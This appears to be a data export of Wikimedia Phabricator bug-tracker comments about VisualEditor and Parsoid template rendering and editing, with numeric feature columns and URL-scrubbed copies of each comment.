234755,Templates that create part (but not all) of a table cell don't work,"Parsoid bug, it doesn't seem to like {{won}} and {{nom}}, see http://parsoid.wmflabs.org/en/Rage_Against_the_Machine",,,1372722454,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-bcblwti2swge5nlt24om,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.347826086956522,0.6956521739130435,"Parsoid bug, it doesn't seem to like {{won}} and {{nom}}, see URL"
234748,Templates that create part (but not all) of a table cell don't work,See also https://en.wikipedia.org/wiki/Akon_discography?veaction=edit from bug 50532.,,,1372720867,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bcblwti2swge5nlt24om,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,1.0,See also URL from bug 50532.
234743,Templates that create part (but not all) of a table cell don't work,*** Bug 50532 has been marked as a duplicate of this bug. ***,,,1372720818,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bcblwti2swge5nlt24om,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50532 has been marked as a duplicate of this bug. ***
52363,VisualEditor: Hatnote templates not displaying properly,"How the hatnote appears in the VE when it is added

This takes some effort to replicate, so bear with me; if you insert a hatnote at the beginning of a line, it renders improperly in the VisualEditor - despite rendering properly in the article text, /and/ in subsequent loads of the VE. Screenshots of each attached.

As User:PamD adeptly summarises, ""if VE doesn't display the result of a change, or displays it looking wrong, editors are going to assume that their edit didn't work and struggle to ""fix"" it""

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11145}",Medium,50.0,1372416900,1375118083.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-hadccnndpx3xlfcdq5x6,task_description,resolved,True,c1,2,False,False,True,-1,,1.0,0.0,0.0,0.5,1.5,2.5,0.0,0.0,0.0,1.0,2.5,1.5,0.0,0.0,0.0,0.5,0.0,4.5,10.5,0.0,2.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,4.0,0.5,2.5,0.5,0.5,0.5,0.0,0.5,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.5,12.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,5.5,1.0,8.0,3.5,1.5,7.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,4.0,10.5,1.5,0.0,3.0,0.0,4.0,0.0,1.0,1.5,0.5,2.0,0.0,0.0,0.5,3.772271952259165,0.7004475703324808,"How the hatnote appears in the VE when it is added

This takes some effort to replicate, so bear with me; if you insert a hatnote at the beginning of a line, it renders improperly in the VisualEditor - despite rendering properly in the article text, /and/ in subsequent loads of the VE. Screenshots of each attached.

As User:PamD adeptly summarises, ""if VE doesn't display the result of a change, or displays it looking wrong, editors are going to assume that their edit didn't work and struggle to ""fix"" it""

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11145}"
234589,VisualEditor: Hatnote templates not displaying properly,"Fair play; marking as duplicate.

%%%*** This bug has been marked as a duplicate of bug 49784 ***%%%",,,1375118083,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-hadccnndpx3xlfcdq5x6,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,2.7096774193548385,0.5806451612903226,"Fair play; marking as duplicate.

%%%*** This bug has been marked as a duplicate of bug 49784 ***%%%"
234585,VisualEditor: Hatnote templates not displaying properly,"So, I've read this a number of times and I'm not quite sure I know what you're getting at.

Steps:

1. Go into a page
2. Click into a blank line; insert template ""Hatnote"", parameter 1 = ""Foo"".
3. Template appears on its own line, as expected.
4. Template saves on its own line, as expected.
5. Page rendered with template in the right place, as expected
6. Edit article.
7. Template is still there in VisualEditor, as expected.

Try two:

1. Go into a page
2. Click into the start of a non-blank line; insert template ""Hatnote"", parameter 1 = ""Foo"".
3. Template appears at the start of the line, a little oddly as it's a <div>, because of bug 49784.
4. Template saves at the start of the line, as expected.
5. Page rendered with template on its own line, as expected.
6. Edit article.
7. Template is still there in VisualEditor at the start of the line, as before.

I assume you mean that this is an issue because it doesn't show up on its own line? If so, this is just a plain duplicate of bug 49784.",,,1374878501,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hadccnndpx3xlfcdq5x6,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.6666666666666666,4.666666666666667,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,3.6666666666666665,1.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,4.333333333333333,13.666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.666666666666667,3.6666666666666665,2.0,0.0,0.6666666666666666,0.6666666666666666,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,13.666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,6.0,1.3333333333333333,9.666666666666666,1.3333333333333333,0.3333333333333333,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.6666666666666665,0.0,4.333333333333333,13.666666666666666,3.0,0.3333333333333333,2.6666666666666665,0.0,4.333333333333333,0.0,0.3333333333333333,3.0,0.0,0.3333333333333333,0.0,0.0,6.0,3.070370370370371,0.6222222222222222,"So, I've read this a number of times and I'm not quite sure I know what you're getting at.

Steps:

1. Go into a page
2. Click into a blank line; insert template ""Hatnote"", parameter 1 = ""Foo"".
3. Template appears on its own line, as expected.
4. Template saves on its own line, as expected.
5. Page rendered with template in the right place, as expected
6. Edit article.
7. Template is still there in VisualEditor, as expected.

Try two:

1. Go into a page
2. Click into the start of a non-blank line; insert template ""Hatnote"", parameter 1 = ""Foo"".
3. Template appears at the start of the line, a little oddly as it's a <div>, because of bug 49784.
4. Template saves at the start of the line, as expected.
5. Page rendered with template on its own line, as expected.
6. Edit article.
7. Template is still there in VisualEditor at the start of the line, as before.

I assume you mean that this is an issue because it doesn't show up on its own line? If so, this is just a plain duplicate of bug 49784."
234579,VisualEditor: Hatnote templates not displaying properly,"How the hatnote appears in subsequent VE loads.

**Attached**: {F11148}",,,1372416940,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-hadccnndpx3xlfcdq5x6,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3157894736842106,0.8421052631578947,"How the hatnote appears in subsequent VE loads.

**Attached**: {F11148}"
234573,VisualEditor: Hatnote templates not displaying properly,"How the hatnote appears in ""read"" mode

**Attached**: {F11146}",,,1372416924,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-hadccnndpx3xlfcdq5x6,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8947368421052633,0.7894736842105263,"How the hatnote appears in ""read"" mode

**Attached**: {F11146}"
52358,VisualEditor: backspacing sometimes inserts a breaking space,"See Kelvinsong's wonderfully detailed bug report at https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=561944647#The_Chloroplast_Test.E2.80.94June_26_C

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1372414260,1562866092.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-bygkpi2cds2ycjzl4xyf,task_description,invalid,True,c1,2,False,False,False,-1,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.444444444444445,0.6666666666666666,"See Kelvinsong's wonderfully detailed bug report at URL

--------------------------
**Version**: unspecified
**Severity**: normal"
445979,VisualEditor: backspacing sometimes inserts a breaking space,"Perhaps I am dense, but I do not understand what this bug was about even after reading the linked discussion.",,,1429468968,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-bygkpi2cds2ycjzl4xyf,task_subcomment,,True,c1,3,True,,,93,,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,9.0,14.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.090909090909091,0.9545454545454546,"Perhaps I am dense, but I do not understand what this bug was about even after reading the linked discussion."
52355,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates","Many templates serve merely as wrapper around free-form wikitext content. TemplateData specifies the parameter type ""content"" for this purpose.

This task tracks the implementation in VisualEditor to provide an edit surface for editing the values of these parameter. Similar to how we already support rich editing of the content inside References.

Use cases:
* Wrap-templates. Such as message boxes, and the parameter-consuming variants of the ""something-start""/""something-end"" templates.
* Nested infoboxes.
* Simple infobox fields that support text but allow/encourage use of inline templates for formatting. Currently these expose raw wikitext to end-users.

>>! @Ironholds wrote
> A lot of infoboxes et al - the one on https://en.wikipedia.org/wiki/Fulgencio_(Modern_Family) comes to mind - have infoboxes /within/ the infoboxes that need editing. I'm not sure what the answer is here - it feels wrong, somehow, to offer an infinitely deep template inspector inside a template inspector inside...etc, but I can't think of another solution short of manually going around making the template namespace make sense or accepting that users will always have to learn markup, just not immediately.

",Medium,50.0,1372412940,,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-o63tibhphh5vfhjwesdx,task_description,open,True,c1,2,False,False,,-1,,0.5,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,0.5,1.5,2.5,9.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,24.5,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,9.0,0.5,1.5,6.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,9.0,1.5,0.0,2.5,0.0,0.5,0.0,1.5,0.5,0.0,3.0,0.0,0.0,0.0,4.502214452214452,0.7402097902097902,"Many templates serve merely as wrapper around free-form wikitext content. TemplateData specifies the parameter type ""content"" for this purpose.

This task tracks the implementation in VisualEditor to provide an edit surface for editing the values of these parameter. Similar to how we already support rich editing of the content inside References.

Use cases:
* Wrap-templates. Such as message boxes, and the parameter-consuming variants of the ""something-start""/""something-end"" templates.
* Nested infoboxes.
* Simple infobox fields that support text but allow/encourage use of inline templates for formatting. Currently these expose raw wikitext to end-users.

QUOTE
QUOTE

"
1623159,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates",https://meta.wikimedia.org/wiki/Community_Wishlist_Survey_2021/Editing/Editing_templates_recursively,,,1606394741,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,3,True,,,386,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
1198564,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates","Basically, the central thing for me would be this:

Some templates are difficult (infoboxes) and some templates are easy ({{[[ http://en.wikipedia.org/wiki/Template:Quote | Quote ]]}}, {{[[ https://en.wikipedia.org/wiki/Template:Lang-it | lang-it ]]}}). VE allows editing links and bold text directly as first-class content element, but all templates are seen by VE as templates and not as formatting, and forces users to edit their content using the dialog. The result is that it's easier to edit such templates in wiki syntax (if you know which parameter to change, of course) than in VE for everyone: both wiki syntax lovers and newer people who like VE.

If VE could allow editing at least //some// simpler templates as just text, and treat them as custom formatting rather than a complex form, this would make editing much easier. Perhaps TemplateData could be modified to allow specifying some parameters as ""directly-editable"" or something.

I understand it's not trivial and requires some development time, but it's worth revisiting this.",,,1545161395,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,3,False,,,285,,2.3333333333333335,0.6666666666666666,0.0,0.6666666666666666,0.6666666666666666,6.666666666666667,1.3333333333333333,0.0,0.0,0.6666666666666666,3.0,0.0,0.0,0.0,0.0,0.6666666666666666,1.6666666666666667,4.0,8.333333333333334,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.6666666666666666,5.0,1.0,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,12.666666666666666,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,2.0,5.333333333333333,1.0,4.0,5.333333333333333,0.0,0.0,0.0,0.0,3.6666666666666665,0.0,0.0,0.0,3.6666666666666665,8.333333333333334,2.3333333333333335,0.0,1.0,0.0,3.6666666666666665,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,2.6666666666666665,1.6666666666666667,0.3333333333333333,1.3333333333333333,3.8830227743271224,0.7503795721187027,"Basically, the central thing for me would be this:

Some templates are difficult (infoboxes) and some templates are easy ({{[[ URL | Quote ]]}}, {{[[ URL | lang-it ]]}}). VE allows editing links and bold text directly as first-class content element, but all templates are seen by VE as templates and not as formatting, and forces users to edit their content using the dialog. The result is that it's easier to edit such templates in wiki syntax (if you know which parameter to change, of course) than in VE for everyone: both wiki syntax lovers and newer people who like VE.

If VE could allow editing at least //some// simpler templates as just text, and treat them as custom formatting rather than a complex form, this would make editing much easier. Perhaps TemplateData could be modified to allow specifying some parameters as ""directly-editable"" or something.

I understand it's not trivial and requires some development time, but it's worth revisiting this."
1194819,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates","Change 451020 abandoned by Bartosz Dziewoński:
Working on Task #T52355 - ve.ui.MWTemplateDialog and ve.ui.MWParameterPage changed.

Reason:
Patch doesn't seem to actually do anything related to task T52355, no response from submitter

[[https://gerrit.wikimedia.org/r/451020]]",,,1544646870,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,3,False,,,284,,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,4.44,0.8,"Change 451020 abandoned by Bartosz Dziewoński:
Working on Task #T52355 - ve.ui.MWTemplateDialog and ve.ui.MWParameterPage changed.

Reason:
Patch doesn't seem to actually do anything related to task T52355, no response from submitter

[[GERRIT_URL]]"
1118225,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates","Change 451020 had a related patch set uploaded (by Chris Barnard; owner: Chris Barnard):
[mediawiki/extensions/VisualEditor@master] Working on Task #T52355 - ve.ui.MWTemplateDialog and ve.ui.MWParameterPage changed.

[[https://gerrit.wikimedia.org/r/451020]]",,,1533659632,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,3,False,,,266,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,26.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,11.0,4.446808510638298,0.7872340425531915,"Change 451020 had a related patch set uploaded (by Chris Barnard; owner: Chris Barnard):
[mediawiki/extensions/VisualEditor@master] Working on Task #T52355 - ve.ui.MWTemplateDialog and ve.ui.MWParameterPage changed.

[[GERRIT_URL]]"
1035824,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates","There is no facepalm token, so consider this little goat as the facepalm token, because still we literally force VE users to use wikicode for nested templates.",,,1521578028,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,3,False,,,246,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,10.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,7.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,13.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.433333333333334,0.9,"There is no facepalm token, so consider this little goat as the facepalm token, because still we literally force VE users to use wikicode for nested templates."
1035822,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates","There is no facepalm token, so consider this little goat as the facepalm token, because we literally force VE users to use wikicode for nested templates.",,,1521578012,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,3,False,,,246,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,7.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,7.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,14.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.413793103448276,0.896551724137931,"There is no facepalm token, so consider this little goat as the facepalm token, because we literally force VE users to use wikicode for nested templates."
622141,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates","> Wikitext button should look depressed when used. MW theme needs this to be improved mode generally. Need to avoid mode error

Would a ButtonSelectWidget make sense here?",,,1456992621,,PHID-USER-gc5hdyw5p4np7atqjynz,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,3,False,,,139,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,33.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,"QUOTE

Would a ButtonSelectWidget make sense here?"
621649,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates","Comments from discussion about this:

* Wikitext button should look depressed when used. MW theme needs this to be improved mode generally. Need to avoid mode error
* Important to remember that the types aren’t for validation, just hints – don’t frustrate the user if they want to over-ride, make it easy to replace.
* Styling of wikitext mode needs improving.
* Need to separate “allowing to use VE” from “helping with type hinting”
* Flow has this issue too (switching mode) – share feature design?
* Edge case (partial wikitext) for not being able to use VE isn’t very common, we believe?
* One switch for the whole dialog?
** Issues?
** In Advanced mode? (alongside multi-template transclusion editing)
* Possibly get rid of the (i) too, to simplify the clutter around boxes?
",,,1456946077,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,3,True,,,139,,0.0,0.0,0.5,0.5,0.5,6.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,1.0,0.0,5.0,12.5,0.0,4.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.5,1.0,0.5,1.5,0.0,0.0,0.0,1.0,0.5,0.0,0.5,0.0,2.0,0.0,0.5,0.0,0.0,0.5,15.5,0.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,2.0,8.5,1.5,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,1.5,0.0,1.5,12.5,2.0,3.5,0.0,0.0,1.5,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,3.6282661782661783,0.6959096459096459,"Comments from discussion about this:

* Wikitext button should look depressed when used. MW theme needs this to be improved mode generally. Need to avoid mode error
* Important to remember that the types aren’t for validation, just hints – don’t frustrate the user if they want to over-ride, make it easy to replace.
* Styling of wikitext mode needs improving.
* Need to separate “allowing to use VE” from “helping with type hinting”
* Flow has this issue too (switching mode) – share feature design?
* Edge case (partial wikitext) for not being able to use VE isn’t very common, we believe?
* One switch for the whole dialog?
** Issues?
** In Advanced mode? (alongside multi-template transclusion editing)
* Possibly get rid of the (i) too, to simplify the clutter around boxes?
"
621561,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates",">>! In T52355#2079713, @Esanders wrote:
> @Ironholds the page has become a disambig since you filed. Looking at the history were you linking to https://en.wikipedia.org/wiki/Fulgencio_(Modern_Family) originally?

